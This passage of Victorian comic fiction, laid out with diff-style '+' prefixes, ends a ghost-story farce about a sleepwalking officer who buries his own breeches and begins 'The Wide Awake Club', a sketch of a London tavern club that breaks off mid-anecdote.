+"I've heard of him," broke in the incorrigible Peters; "he was hanged at
+the Old Bailey in a silk rope for shooting Doctor Johnson."
+
+The antiquary vouchsafed no notice of the interruption; but, taking a
+pinch of snuff, continued his harangue.
+
+"A silver horse-shoe, sir, which is due from every scion of royalty
+who rides across one of his manors; and if you look into the penny
+county histories, now publishing by an eminent friend of mine, you will
+find that Langhale in Co. Norf. was held by one Baldwin _per saltum
+sufflatum, et pettum_; that is, he was to come every Christmas into
+Westminster Hall, there to take a leap, cry hem! and----"
+
+"Mr. Simpkinson, a glass of sherry?" cried Tom Ingoldsby hastily.
+
+"Not any, thank you, sir. This Baldwin, surnamed _Le ----_"
+
+"Mrs. Ogleton challenges you, sir; she insists upon it," said Tom still
+more rapidly; at the same time filling a glass, and forcing it on
+the sçavant, who, thus arrested in the very crisis of his narrative,
+received and swallowed the potation as if it had been physic.
+
+"What on earth has Miss Simpkinson discovered there?" continued Tom;
+"something of interest. See how fast she is writing."
+
+The diversion was effectual; every one looked towards Miss Simpkinson,
+who, far too ethereal for "creature comforts," was seated apart on
+the dilapidated remains of an altar-tomb, committing eagerly to paper
+something that had strongly impressed her: the air,--the eye in a fine
+frenzy rolling,--all betokened that the divine _afflatus_ was come. Her
+father rose, and stole silently towards her.
+
+"What an old boar!" muttered young Ingoldsby; alluding, perhaps, to a
+slice of brawn which he had just begun to operate upon, but which, from
+the celerity with which it disappeared, did not seem so very difficult
+of mastication.
+
+But what had become of Seaforth and his fair Caroline all this while?
+Why, it so happened that they had been simultaneously stricken with the
+picturesque appearance of one of those high and pointed arches, which
+that eminent antiquary, Mr. Horseley Curties, describes as "a _Gothic_
+window of the _Saxon_ order;"--and then the ivy clustered so thickly
+and so beautifully on the other side, that they went round to look at
+that;--and then their proximity deprived it of half its effect, and
+so they walked across to a little knoll, a hundred yards off, and, in
+crossing a small ravine, they came to what in Ireland they call "a bad
+step," and Charles had to carry his cousin over it;--and then, when
+they had to come back, she would not give him the trouble again for the
+world, so they followed a better but more circuitous route, and there
+were hedges and ditches in the way, and stiles to get over, and gates to
+get through; so that an hour or more had elapsed before they were able
+to rejoin the party.
+
+"Lassy me!" said Miss Julia Simpkinson, "how long you have been gone!"
+
+And so they had. The remark was a very just as well as a very natural
+one. They were gone a long while, and a nice cosey chat they had; and
+what do you think it was all about, my dear miss?
+
+"Oh, lassy me! love, no doubt, and the moon, and eyes, and nightingales,
+and----"
+
+Stay; stay, my sweet young lady; do not let the fervour of your feelings
+run away with you! I do not pretend to say, indeed, that one or more
+of these pretty subjects might not have been introduced; but the most
+important and leading topic of the conference was--Lieutenant Seaforth's
+breeches.
+
+"Caroline," said Charles, "I have had some very odd dreams since have
+been at Tappington."
+
+"Dreams, have you?" smiled the young lady, arching her taper neck like a
+swan in pluming. "Dreams, have you?"
+
+"Ay, dreams,--or dream, perhaps, I should say; for, though repeated, it
+was still the same. And what do you imagine was its subject?"
+
+"It is impossible for me to divine," said the tongue; "I have not the
+least difficulty in guessing," said the eye, as plainly as ever eye
+spoke.
+
+"I dreamt of--your great grandfather!"
+
+There was a change in the glance--"My great grandfather?"
+
+"Yes, the old Sir Giles, or Sir John, you told me about the other day:
+he walked into my bedroom in his short cloak of murrey-coloured velvet,
+his long rapier, and his Ralegh-looking hat and feather, just as this
+picture represents him; but with one exception."
+
+"And what was that?"
+
+"Why, his lower extremities, which were visible, were--those of a
+skeleton."
+
+"Well!"
+
+"Well, after taking a turn or two about the room, and looking round him
+with a wistful air, he came to the bed's foot, stared at me in a manner
+impossible to describe,--and then he--he laid hold of my pantaloons,
+whipped his long bony legs into them in a twinkling, and, strutting
+up to the glass, seemed to view himself in it with great complacency.
+I tried to speak, but in vain. The effort, however, seemed to excite
+his attention; for, wheeling about, he showed me the grimmest-looking
+death's head you can well imagine, and with an indescribable grin
+strutted out of the room."
+
+"Absurd, Charles! How can you talk such nonsense?"
+
+"But, Caroline,--the breeches are really gone!"
+
+       *       *       *       *       *
+
+On the following morning, contrary to his usual custom, Seaforth was
+the first person in the breakfast-parlour. As no one else was present,
+he did precisely what nine young men out of ten so situated would have
+done; he walked up to the mantelpiece, established himself upon the
+rug, and subducting his coat-tails one under each arm, turned towards
+the fire that portion of the human frame which it is considered equally
+indecorous to present to a friend or an enemy. A serious, not to say
+anxious, expression was visible upon his good-humoured countenance, and
+his mouth was fast buttoning itself up for an incipient whistle, when
+little Flo, a tiny spaniel of the Blenheim breed,--the pet object of
+Miss Julia Simpkinson's affections,--bounced out from beneath a sofa,
+and began to bark at--his pantaloons.
+
+They were cleverly "built," of a light grey mixture, a broad stripe of
+the most vivid scarlet traversing each seam in a perpendicular direction
+from hip to ancle,--in short, the regimental costume of the Royal Bombay
+Fencibles. The animal, educated in the country, had never seen such a
+pair of breeches in her life--_Omne ignotum pro magnifico!_ The scarlet
+streak, inflamed as it was by the reflection of the fire, seemed to
+act on Flora's nerves as the same colour does on those of bulls and
+turkeys, she advanced at the _pas de charge_; and her vociferation, like
+her amazement, was unbounded. A sound kick from the disgusted officer
+changed its character, and induced a retreat at the very moment when the
+mistress of the pugnacious quadruped entered to the rescue.
+
+"Lassy me! Flo! what _is_ the matter?" cried the sympathising lady, with
+a scrutinizing glance levelled at the gentleman.
+
+It might as well have lighted on a feather-bed.--His air of
+imperturbable unconsciousness defied examination; and as he would not,
+and Flora could not, expound, that injured individual was compelled
+to pocket up her wrongs. Others of the household soon dropped in, and
+clustered round the board dedicated to the most sociable of meals;
+the urn was paraded "hissing hot," and the cups which "cheer, but not
+inebriate," steamed redolent of hyson and pekoe; muffins and marmalade,
+newspapers and Finnon haddies, left little room for observation on
+the character of Charles's warlike "turn-out." At length a look from
+Caroline, followed by a smile that nearly ripened to a titter, caused
+him to turn abruptly and address his neighbour. It was Miss Simpkinson,
+who, deeply engaged in sipping her tea and turning over her album,
+seemed, like a female Chrononotonthologos, "immersed in congibundity
+of cogitation." An interrogatory on the subject of her studies drew
+from her the confession that she was at that moment employed in putting
+the finishing touches to a poem inspired by the romantic shades of
+Bolsover. The entreaties of the company were of course urgent. Mr.
+Peters, who "liked verses," was especially persevering, and Sappho at
+length compliant. After a preparatory hem! and a glance at the mirror
+to ascertain that her look was sufficiently sentimental, the poetess
+began:--
+
+    "There is a calm, a holy feeling,
+      Vulgar minds can never know,
+    O'er the bosom softly stealing,--
+      Chasten'd grief, delicious woe!
+    Oh! how sweet at eve regaining
+      Yon lone tower's sequester'd shade--
+    Sadly mute and uncomplaining----"
+
+--Yow!--yeough!--yeough!--yow!--yow! yelled a hapless sufferer from
+beneath the table.--It was an unlucky hour for quadrupeds; and if "every
+dog will have his day," he could not have selected a more unpropitious
+one than this. Mrs. Ogleton, too, had a pet,--a favourite pug,--whose
+squab figure, black muzzle, and tortuosity of tail, that curled like a
+head of celery in a salad-bowl, bespoke his Dutch extraction. Yow! yow!
+yow! continued the brute,--a chorus in which Flo instantly joined.
+Sooth to say, pug had more reason to express his dissatisfaction than
+was given him by the muse of Simpkinson; the other only barked for
+company. Scarcely had the poetess got through her first stanza, when
+Tom Ingoldsby, in the enthusiasm of the moment, became so lost to the
+material world, that, in his abstraction, he unwarily laid his hand on
+the cock of the urn. Quivering with emotion, he gave it such an unlucky
+twist, that the full stream of its scalding contents descended on the
+gingerbread hide of the unlucky Cupid. The confusion was complete; the
+whole economy of the table disarranged; the company broke up in most
+admired disorder; and "vulgar minds will never know" anything more of
+Miss Simpkinson's ode till they peruse it in some forthcoming annual.
+
+Seaforth profited by the confusion to take the delinquent who had caused
+this "stramash" by the arm, and to lead him to the lawn, where he had
+a word or two for his private ear. The conference between the young
+gentlemen was neither brief in its duration, nor unimportant in its
+result. The subject was what the lawyers call tripartite, embracing the
+information that Charles Seaforth was over head and ears in love with
+Tom Ingoldsby's sister; secondly, that the lady had referred him to
+"papa" for his sanction; thirdly and lastly, his nightly visitations and
+consequent bereavement. At the two first items Tom smiled auspiciously;
+at the last he burst out into an absolute "guffaw."
+
+"Steal your breeches? Miss Bailey over again, by Jove!" shouted
+Ingoldsby. "But a gentleman, you say, and Sir Giles too--I am not sure,
+Charles, whether I ought not to call you out for aspersing the honour of
+the family!"
+
+"Laugh as you will, Tom,--be as incredulous as you please. One fact is
+incontestible,--the breeches are gone! Look here--I am reduced to my
+regimentals; and if these go, to-morrow I must borrow of you!"
+
+Rochefoucault says, there in something in the misfortunes of our very
+best friends that does not displease us; certainly we can, most of us,
+laugh at their petty inconveniences, till called upon to supply them.
+Tom composed his features on the instant, and replied with more gravity,
+as well as with an expression, which, if my Lord Mayor had been within
+hearing, might have cost him five shillings.
+
+"There is something very queer in this, after all. The clothes, you say,
+have positively disappeared. Somebody is playing you a trick, and, ten
+to one, your servant has a hand in it. By the way, I heard something
+yesterday of his kicking up a bobbery in the kitchen, and seeing a
+ghost, or something of that kind, himself. Depend upon it, Barney is in
+the plot!"
+
+It struck the lieutenant at once that the usually buoyant spirits of
+his attendant had of late been materially sobered down, his loquacity
+obviously circumscribed, and that he, the said lieutenant, had actually
+rung his bell three several times that very morning before he could
+procure his attendance. Mr. Maguire was forthwith summoned, and
+underwent a close examination. The "bobbery" was easily explained. Mr.
+Oliver Dobbs had hinted his disapprobation of a flirtation carrying
+on between the gentleman from Munster and the lady from the Rue St.
+Honoré. Mademoiselle boxed Mr. Maguire's ears, and Mr. Maguire pulled
+Mademoiselle upon his knee, and the lady did _not_ cry _Mon Dieu!_ And
+Mr. Oliver Dobbs said it was very wrong; and Mrs. Botherby said it was
+scandalous, and what ought not to be done in any moral kitchen; and
+Mr. Maguire had got hold of the Honourable Augustus Sucklethumbkin's
+powder-flask, and had put large pinches of the best double Dartford into
+Mr. Dobbs' tobacco-box; and Mr. Dobbs' pipe had exploded and set fire
+to Mrs. Botherby's Sunday cap, and Mr. Maguire had put it out with the
+slop-basin, "barring the wig;" and then they were all so "cantankerous,"
+that Barney had gone to take a walk in the garden; and then--then Mr.
+Barney had seen a ghost!
+
+"A what? you blockhead!" asked Tom Ingoldsby.
+
+"Sure then, and it's meself will tell your honour the rights of it,"
+said the ghost-seer. "Meself and Miss Pauline, sir--or Miss Pauline
+and meself, for the ladies comes first any how,--we got tired of the
+hobstroppylous skrimmaging among the ould servants, that didn't know a
+joke when they seen one; and we went out to look at the Comet,--that's
+the Rory-Bory-alehouse, they calls him in this country,--and we walked
+upon the lawn, and divel of any alehouse there was there at all; and
+Miss Pauline said it was becase of the shrubbery maybe, and why wouldn't
+we see it better beyonst the trees? and so we went to the trees, but
+sorrow a Comet did meself see there, barring a big ghost instead of it."
+
+"A ghost? And what sort of a ghost, Barney?"
+
+"Och, then, divel a lie I'll tell your honour. A tall ould gentleman he
+was, all in white, with a shovel on his shoulder, and a big torch in
+his fist,--though what he wanted with that it's meself can't tell, for
+his eyes were like gig-lamps, let alone the moon and the Comet, which
+wasn't there at all; and 'Barney,' says he to me,--'cause why he knew
+me,--'Barney,' says he, 'what is it you're doing with the colleen there,
+Barney?' Divel a word did I say. Miss Pauline screeched, and cried
+murther in French, and ran off with herself; and of coorse meself was in
+a mighty hurry after the lady, and had no time to stop palavering with
+him any way; so I dispersed at once, and the ghost vanished in a flame
+of fire!"
+
+Mr. Maguire's account was received with avowed incredulity by both
+gentlemen; but Barney stuck to his text with unflinching pertinacity. A
+reference to Mademoiselle was suggested, but abandoned, as neither party
+had a taste for delicate investigations.
+
+"I'll tell you what, Seaforth," said Ingoldsby, after Barney had
+received his dismissal; "that there is a trick here, is evident; and
+Barney's vision may possibly be a part of it. Whether he is most knave
+or fool, you best know. At all events, I will sit up with you to-night,
+and see if I can convert my ancestor into a visiting acquaintance.
+Meanwhile your finger on your lip!"
+
+       *       *       *       *       *
+
+    "'Twas now the very witching time of night,
+    When churchyards yawn, and graves give up their dead."
+
+Gladly would I grace my tale with decent horror, and therefore I do
+beseech the "gentle reader" to believe, that if all the _succedanea_ to
+this mysterious narrative are not in strict keeping, he will ascribe
+it only to the disgraceful innovations of modern degeneracy upon the
+sober and dignified habits of our ancestors. I can introduce him, it is
+true, into an old and high-roofed chamber, its walls covered on three
+sides with black oak wainscoting, adorned with carvings of fruit and
+flowers long anterior to those of Grinling Gibbons; the fourth side is
+clothed with a curious remnant of dingy tapestry, once elucidatory of
+some Scriptural history, but of _which_ not even Mrs. Botherby could
+determine. Mr. Simpkinson, who had examined it carefully, inclined to
+believe the principal figure to be either Bathsheba or Daniel in the
+lions' den; while Tom Ingoldsby decided in favour of the King of Bashan.
+All, however, was conjecture; tradition being silent on the subject. A
+lofty arched portal led into, and a little arched portal led out of,
+this apartment; they were opposite each other, and both possessed the
+security of massy bolts on the interior. The bedstead, too, was not one
+of yesterday; but manifestly coeval with days ere Seddons was, and when
+a good four-post "article" was deemed worthy of being a royal bequest.
+The bed itself, with all the appurtenances of paillasse, mattresses, &c.
+was of far later date, and looked most incongruously comfortable; the
+casements, too, with their little diamond-shaped panes and iron binding,
+had given way to the modern heterodoxy of the sash-window. Nor was this
+all that conspired to ruin the costume, and render the room a meet haunt
+for such "mixed spirits" only as could condescend to don at the same
+time an Elizabethan doublet and Bond-street inexpressibles. With their
+green morocco slippers on a modern fender in front of a disgracefully
+modern grate, sat two young gentlemen, clad in "shawl-pattern"
+dressing-gowns and black silk stocks, much at variance with the high
+cane-backed chairs which supported them. A bunch of abomination, called
+a cigar, reeked in the left-hand corner of the mouth of one, and in the
+right-hand corner of the mouth of the other;--an arrangement happily
+adapted for the escape of the noxious fumes up the chimney, without that
+unmerciful "funking" each other, which a less scientific disposition
+would have induced. A small pembroke table filled up the intervening
+space between them, sustaining, at each extremity, an elbow and glass of
+toddy; and thus in "lonely pensive contemplation" were the two worthies
+occupied, when the "iron tongue of midnight had tolled twelve."
+
+"Ghost-time's come!" said Ingoldsby, taking from his waistcoat pocket a
+watch like a gold half-crown, and consulting it as though he suspected
+the turret-clock over the stables of mendacity.
+
+"Hush!" said Charles; "did I not hear a footstep?"
+
+There was a pause: there _was_ a footstep--it sounded distinctly--it
+reached the door--it hesitated, stopped, and--passed on.
+
+Tom darted across the room, threw open the door, and became aware of
+Mrs. Botherby toddling to her chamber at the other end of the gallery,
+after dosing one of the housemaids with an approved julep from the
+Countess of Kent's "Choice Manual."
+
+"Good night, sir!" said Mrs. Botherby.
+
+"Go to the d--l!" said the disappointed ghost-hunter.
+
+A hour--two--rolled on, and still no spectral visitation, nor did aught
+intervene to make night hideous; and when the turret-clock sounded at
+length the hour of three, Ingoldsby, whose patience and grog were alike
+exhausted, sprang from his chair, saying,
+
+"This is all infernal nonsense, my good fellow. Deuce of any ghost shall
+we see to-night; it's long past the canonical hours. I'm off to bed; and
+as to your breeches, I'll ensure them for twenty-four hours at least, at
+the price of the buckram."
+
+"Certainly. Oh! thankye; to be sure!" stammered Charles, rousing himself
+from a reverie, which had degenerated into an absolute snooze.
+
+"Good night, my boy. Bolt the door behind me; and defy the Pope, the
+Devil, and the Pretender!"
+
+Seaforth followed his friend's advice, and the next morning came down to
+breakfast dressed in the habiliments of the preceding day. The charm was
+broken, the demon defeated; the light greys with the red stripe down the
+seams were yet in _rerum naturâ_, and adorned the person of their lawful
+proprietor.
+
+Tom felicitated himself and his partner of the watch on the result of
+their vigilance; but there is a rustic adage, which warns us against
+self-gratulation before we are quite "out of the wood."--Seaforth was
+yet within its verge.
+
+       *       *       *       *       *
+
+A rap at Tom Ingoldsby's door the next morning startled him as he was
+shaving: he cut his chin.
+
+"Come in, and be d--d to you!" said the martyr, pressing his thumb on
+the wounded epidermis. The door opened and exhibited Mr. Barney Maguire.
+"Well, Barney, what is it?" quoth the sufferer, adopting the vernacular
+of his visitant.
+
+"The Master, sir----"
+
+"Well, what does he want?"
+
+"The loanst of a breeches, plase your honour."
+
+"Why, you don't mean to tell me----By Heaven, this is too good!"
+shouted Tom, bursting into a fit of uncontrollable laughter. "Why,
+Barney, you don't mean to say the ghost has got them again?"
+
+Mr. Maguire did not respond to the young squire's risibility; the cast
+of his countenance was decidedly serious.
+
+"Faith, then, it's gone they are, sure enough. Hasn't meself been
+looking over the bed, and under the bed, and in the bed, for the matter
+of that, and divel a ha'p'orth of breeches is there to the fore at all:
+I'm bothered entirely!"
+
+"Harkye! Mr. Barney," said Tom, incautiously removing his thumb, and
+letting a crimson stream "incarnadine the multitudinous" lather that
+plastered his throat,--"this may be all very well with your master, but
+you don't humbug me, sir: tell me instantly what have you done with the
+clothes?"
+
+This abrupt transition from "lively to severe" certainly took Maguire
+by surprise, and he seemed for an instant as much disconcerted as it is
+possible to disconcert an Irish gentleman's gentleman.
+
+"Me? is it meself, then, that's the ghost to your honour's thinking?"
+said he, after a moment's pause, and with a slight shade of indignation
+in his tones; "is it I would stale the master's things,--and what would
+I do with them?"
+
+"That you best know: what your purpose is I can't guess, for I don't
+think you mean to 'stale' them, as you call it; but that you are
+concerned in their disappearance, I am satisfied. Confound this
+blood!--give me a towel, Barney."
+
+Maguire acquitted himself of the commission. "As I've a sowl, your
+honour," said he solemnly, "little it is meself knows of the matter; and
+after what I seen----"
+
+"What you've seen? Why, what _have_ you seen? Barney, I don't want to
+inquire into your flirtations; but don't suppose you can palm off your
+saucer eyes and gig-lamps upon me!"
+
+"Then, as sure as your honour's standing there, I saw him; and why
+wouldn't I, when Miss _Pauline_ was to the fore as well as meself,
+and----"
+
+"Get along with your nonsense,--leave the room, sir!"
+
+"But the master?" said Barney imploringly; "and the breeches?--sure
+he'll be catching cowld!"
+
+"Take that, rascal!" replied Ingoldsby, throwing a pair of pantaloons
+at, rather than to, him; "but don't suppose, sir, you shall carry
+on your tricks with impunity; recollect there is such a thing as a
+tread-mill, and that my father is a county magistrate."
+
+Barney's eye flashed fire,--he stood erect and was about to speak; but,
+mastering himself, not without an effort, he took up the garment, and
+left the room as perpendicular as a Quaker.
+
+       *       *       *       *       *
+
+"Ingoldsby," said Charles Seaforth, after breakfast, "this is now past
+a joke; to-day is the last of my stay, for, notwithstanding the ties
+which detain me, common decency obliges me to visit home after so long
+an absence. I shall come to an immediate explanation with your father on
+the subject nearest my heart, and depart while I have a change of dress
+left. On his answer will my return depend; in the mean time tell me
+candidly,--I ask it in all seriousness and as a friend,--am I not a dupe
+to your well-known propensity to hoaxing? have you not a hand in----"
+
+"No, by Heaven! Seaforth; I see what you mean: on my honour, I am as
+much mystified as yourself; and if your servant----"
+
+"Not he: if there be a trick, he at least is not privy to it."
+
+"If there _be_ a trick? why, Charles, do you think----"
+
+"I know not _what_ to think, Tom. As surely as you are a living man, so
+surely did that spectral anatomy visit my room again last night, grin in
+my face, and walk away with my trousers; nor was I able to spring from
+my bed, or break the chain which seemed to bind me to my pillow."
+
+"Seaforth," said Ingoldsby, after a short pause, "I will--But hush! here
+are the girls and my father. I will carry off the females, and leave you
+clear field with the Governor: carry your point with him, and we will
+talk about your breeches afterwards."
+
+Tom's diversion was successful: he carried off the ladies _en masse_
+to look at a remarkable specimen of the class _Dodecandria Monogynia_,
+which they could not find; while Seaforth marched boldly up to the
+encounter, and carried "the Governor's" outworks by a _coup de main_. I
+shall not stop to describe the progress of the attack; suffice it that
+it was as successful as could have been wished, and that Seaforth was
+referred back again to the lady. The happy lover was off at a tangent;
+the botanical party was soon overtaken; and the arm of Caroline, whom a
+vain endeavour to spell out the Linnæan name of a daffy-down-dilly had
+detained a little in the rear of the others, was soon firmly locked in
+his own.
+
+                "What was the world to them,
+    Its noise, its nonsense, and its 'breeches' all?"
+
+Seaforth was in the seventh heaven; he retired to his room that night
+as happy as if no such thing as a goblin had ever been heard of, and
+personal chattels were as well fenced in by law as real property. Not
+so Tom Ingoldsby: the mystery--for mystery there evidently was,--had
+not only piqued his curiosity, but ruffled his temper. The watch of
+the previous night had been unsuccessful, probably because it was
+undisguised. Tonight he would "ensconce himself,"--not indeed "behind
+the arras,"--for the little that remained was, as we have seen, nailed
+to the wall,--but in a small closet which opened from one corner of the
+room, and, by leaving the door ajar, would give its occupant a view of
+all that might pass in the apartment. Here did the young ghost-hunter
+take up a position, with a good stout sapling under his arm, a full
+half-hour before Seaforth retired for the night. Not even his friend did
+he let into his confidence, fully determined that if his plan did not
+succeed, the failure should be attributed to himself alone.
+
+At the usual hour of separation for the night, Tom saw, from his
+concealment, the lieutenant enter his room; and, after taking a few
+turns in it, with an expression so joyous as to betoken that his
+thoughts were mainly occupied by his approaching happiness, proceed
+slowly to disrobe himself. The coat, the waistcoat, the black silk
+stock, were gradually discarded; the green morocco slippers were kicked
+off, and then--ay, and then--his countenance grew grave; it seemed to
+occur to him all at once that this was his last stake,--nay, that the
+very breeches he had on were not his own,--that to-morrow morning was
+his last, and that if he lost _them_----A glance showed that his mind
+was made up; he replaced the single button he had just subducted, and
+threw himself upon the bed in a state of transition, half chrysalis,
+half grub.
+
+Wearily did Tom Ingoldsby watch the sleeper by the flickering light of
+the night-lamp, till the clock, striking one, induced him to increase
+the narrow opening which he had left for the purpose of observation. The
+motion, slight as it was, seemed to attract Charles's attention; for he
+raised himself suddenly to a sitting posture, listened for a moment,
+and then stood upright upon the floor. Ingoldsby was on the point of
+discovering himself, when, the light flashing full upon his friend's
+countenance, he perceived that, though his eyes were open, "their sense
+was shut,"--that he was yet under the influence of sleep. Seaforth
+advanced slowly to the toilet, lit his candle at the lamp that stood on
+it, then, going back to the bed's foot, appeared to search eagerly for
+something which he could not find. For a few moments he seemed restless
+and uneasy, walking round the apartment and examining the chairs,
+till, coming fully in front of a large swing-glass that flanked the
+dressing-table, he paused, as if contemplating his figure in it. He now
+returned towards the bed, put on his slippers, and, with cautious and
+stealthy steps, proceeded towards the little arched doorway that opened
+on the private staircase.
+
+As he drew the bolt, Tom Ingoldsby emerged from his hiding-place;
+but the sleep-walker heard him not: he proceeded softly down stairs,
+followed at a due distance by his friend, opened the door which led out
+upon the gardens, and stood at once among the thickest of the shrubs,
+which there clustered round the base of a corner turret, and screened
+the postern from common observation. At this moment Ingoldsby had nearly
+spoiled all by making a false step: the sound attracted Seaforth's
+attention, he paused and turned; and, as the full moon shed her light
+direct upon his pale and troubled features, Tom marked, almost with
+dismay, the fixed and rayless appearance of his eyes:
+
+    "There was no speculation in those orbs
+    That he did glare withal,"
+
+The perfect stillness preserved by his follower seemed to reassure
+him; he turned aside, and, from the midst of a thickset laurustinus,
+drew forth a gardener's spade, shouldering which he proceeded with
+greater rapidity into the midst of the shrubbery. Arrived at a certain
+point, where the earth seemed to have been recently disturbed, he
+set himself heartily to the task of digging; till, having thrown up
+several shovelfuls of mould, he stopped, flung down his tool, and very
+composedly began to disencumber himself of his pantaloons.
+
+Up to this moment Tom had watched him with a wary eye; he now advanced
+cautiously, and, as his friend was busily engaged in disentangling
+himself from his garment, made himself master of the spade. Seaforth,
+meanwhile, had accomplished his purpose; he stood for a moment with
+
+          "His streamers waving in the wind,"
+
+occupied in carefully rolling up the small-clothes into as compact a
+form as possible, and all heedless of the breath of heaven, which might
+certainly be supposed at such a moment, and in such a plight, to "visit
+his frame too roughly."
+
+He was in the act of stooping low to deposit the pantaloons in the grave
+which he had been digging for them, when Tom Ingoldsby came close behind
+him, and with the flat of the spade----
+
+       *       *       *       *       *
+
+The shock was effectual; never again was Lieutenant Seaforth known to
+act the part of a somnambulist. One by one, his breeches, his trousers,
+his pantaloons, his silk-net tights, his patent cords, and his showy
+greys with the broad red stripe of the Bombay Fencibles, were brought
+to light, rescued from the grave in which they had been buried, like
+the straw of a Christmas pie; and, after having been well aired by Mrs.
+Botherby, became once again effective.
+
+The family, the ladies especially, laughed; Barney Maguire cried
+"Botheration!" and _Ma'mselle Pauline_, "_Mon Dieu!_"
+
+Charles Seaforth, unable to face the quizzing which awaited him on all
+sides, started off two hours earlier than he had proposed: he soon
+returned, however; and having, at his father-in-law's request, given up
+the occupation of Rajah hunting and shooting Nabobs, led his blushing
+bride to the altar.
+
+Mr. Simpkinson from Bath did not attend the ceremony, being engaged
+at the Grand Junction Meeting of _Sçavans_, then congregating from
+all parts of the known world, in the city of Dublin. His essay,
+demonstrating that the globe is a great custard, whipped into
+coagulation by whirlwinds, and cooked by electricity,--a little too
+much baked in the Isle of Portland, and a thought underdone about the
+Bog of Allen,--is highly spoken of and, it is supposed, will obtain a
+Bridgewater prize.
+
+Miss Simpkinson and her sister acted as bridesmaids on the occasion;
+the former wrote an _epithalamium_, and the latter cried "Lassy me!"
+at the clergyman's wig. But as of these young ladies, of the fair
+widow, Mr. Sucklethumbkin, Mrs. Peters and her P. we may have more
+to say hereafter, we take our leave for the present; assuring our
+pensive public that Mr. and Mrs. Seaforth are living together quite as
+happily as two good-hearted, good-tempered bodies, very fond of each
+other, can possibly do; and that since the day of his marriage Charles
+has shown no disposition to jump out of bed, or ramble out of doors
+o' nights,--though, from his entire devotion to every wish and whim
+of his young wife, Tom insinuates that the fair Caroline does still
+occasionally take advantage of it so far as to "slip on the Breeches."
+
+
+
+
+            THE WIDE AWAKE CLUB.
+            BY RIGDUM O'FUNNIDOS.
+
+The clubs of London! I recollect once reading a book so called; but
+as for any _bonâ fide_ information touching the _soi disant_ social
+assemblies, I might as well have been perusing the Shaster, or reading
+the Florentine copy of the Pandects! _The_ clubs of London afford, as I
+have reason to know, ample material for the most abundant fun; but they
+who expect to find it at Crockford's, the Athenæum, and other _maisons
+de jeu_, where yawning dandies, expert _chevaliers_, old men of the
+town, _roués_ of all sorts,
+
+    Mingle, mingle, mingle,
+    As they mingle may,
+
+will be wofully disappointed. The clubs, _par excellence_, take them one
+and all,--from the Oriental, stuck, with a due disposition and attention
+to habits of Eastern indolence, in the dullest corner of the dullest
+square in London, down to, or up to, I care not which, the staring
+bow-windowed Omnibus Union in Cockspur-street,--are all alike destitute
+of the requisite material. I perhaps may have a touch at them in the
+middle of the session and season, when the _élite_ of the club-men
+are in town, and when their sayings and doings may by possibility be
+worth recording, even if it were only to have a laugh over them. But,
+as Copp says, "let that pass for the present." The clubs that I intend
+to introduce to the readers of the Miscellany are certain of those
+convivial associations composed of the middlemen of society in the
+metropolis, who assemble on certain stated nights in the week to sing
+songs, smoke pipes, and imbibe moisture in the shape of divers goes of
+spirit and pints of ale. My reminiscences of these assemblies, I think,
+would fill a goodly tome. To begin with the last, Hebrew fashion. In was
+my lot one evening, a short time since, to be introduced by Mr. Timmins,
+my landlord, who, seeing I was rather low-spirited, volunteered the
+invitation, on a social community called the "WIDE AWAKE CLUB."
+
+"Sir," said Mr. Timmins,--a very worthy knight of the needle, who called
+me "the genelman wot lodges in my first floor," (whether up or down the
+chimney, deponent sayeth not,)--"you looks werry oncomfutable this here
+nasty evening. Prowisin it ain't takin' of too great a liberty, and you
+feel noways disinclined, I think an hour or two at our club--(I have the
+privilege of introducing a wisitor wot I can answer for in regard to
+respectability)--might do you good."
+
+"And pray, Mr. Timmins, what is the character of your club?"--"Oh!
+sir, the character of our club is _on_-doubted, sir; we are all men of
+experence, sir: no one is admitted a member _on_less he shows he is a
+_wide awake_ cove."
+
+"What do you mean by a wide awake cove," said I, "Mr. Timmins?"--"Vy,"
+said Timmins, "there's no von hellgibble to be a member on our society
+but what gets a woucher from a member that he has a summut to say, and
+prove wot has made him _wide awake_,--that is to say, more up and down
+to the ways of the world than the generality of people, by experence."
+
+"You mean, if I understand you rightly, Mr. Timmins, that your club is
+one where a certain number of persons meet to spend the social hours of
+relaxation in giving each other the tale of some particular event or
+occurrence that has taught them to know there is more roguery in the
+world than certain philanthropists would lend us to believe."--"You've
+hit it, sir," said Timmins; "down as a hammer."
+
+"Well, Timmins, I shall be happy to join you," I replied.
+
+During our walk, in answer to certain questions, Timmins informed me
+that the president of the club was a Mr. Phiggins, a retired draper;
+and that the leading members were Mr. Pounce, a lawyer's clerk, Mr. Bob
+Jinks, a butcher, Mr. Shortcut, a tobacconist, Mr. Sprigs, a fruiterer.
+"But," said Timmins, "you'll know them all in five minutes. I don't
+think this wet evening, there will be a strong muster: howsomdever, we
+can console ourselves that, if not numerous, we are select."
+
+"Very proper consolation, Timmins," said I.
+
+When we arrived at the _Three Pies_, the sign of the house where the
+club was held, Timmins went up stairs to communicate the fact of my
+being below, and to assure the company that all was regular and right,
+as he said; and shortly afterwards I was ushered into the presence,
+and introduced to the worthies previously named. The president, a
+jolly-looking man about fifty, sat in an elevated chair at the top of
+a long table, which gave a goodly display of pipes, glasses of grog,
+&c. On each side, the members sat at their most perfect ease, smoking
+and chatting. It would appear that they had been at business some time,
+for it seemed ebb-tide with the contents of the glasses; and several
+worthies were in the act of knocking the ashes out of their respective
+pipes. After ordering a glass of punch and a segar, and another for
+Timmins, a conversation which was going on before we came in was
+resumed, of which the following is a faithful report.
+
+"That puts me in mind of M'Flummery," said Pounce, the lawyer's clerk,
+putting his hand--accidentally, I suppose, of course,--into Shortcut's
+open screw of tobacco, and filling his pipe therefrom; "I mean him as
+was hung at the Old Bailey some ten years back."
+
+"And what was he hung for?" asked the president.--"Why, not exactly for
+his good behaviour. He set out in life as heavy a swell as ever flowed
+up in the regions of the West End--carried on the game for about a dozen
+years in bang-up style.--My eye! how precious drunk he made Snatch'em,
+the bum, and I, one night as we pinned him coming home in his cab from
+the Opera to give a champaign supper at the Clarendon."
+
+"Champaign supper?" said the president. "Why, champaign is a wine; and
+no man, I maintain, can make a supper off wine, 'coz wine is drink, and
+supper, it stands to reason, is eating."
+
+"And no mistake," said Shortcut.
+
+"With submission, Mr. Chair," replied Pounce, "I'll explain. This
+champaign supper meant a regular slap-up feed; but no one was allowed
+any other drink with their grub, but champaign punch made with green tea
+in a silver kettle."
+
+"I pity their stint," said Jinks.
+
+"Ay," said the president, "that stands to reason. But how did it happen
+this gentleman came to be hanged?"--"Why," continued Pounce, "I was
+a-coming to that point. As I said just now, there never was a greater
+dasher at the West End than this M'Flummery; but, like many other
+swells, he was very often lodging in Queer-street for the want of the
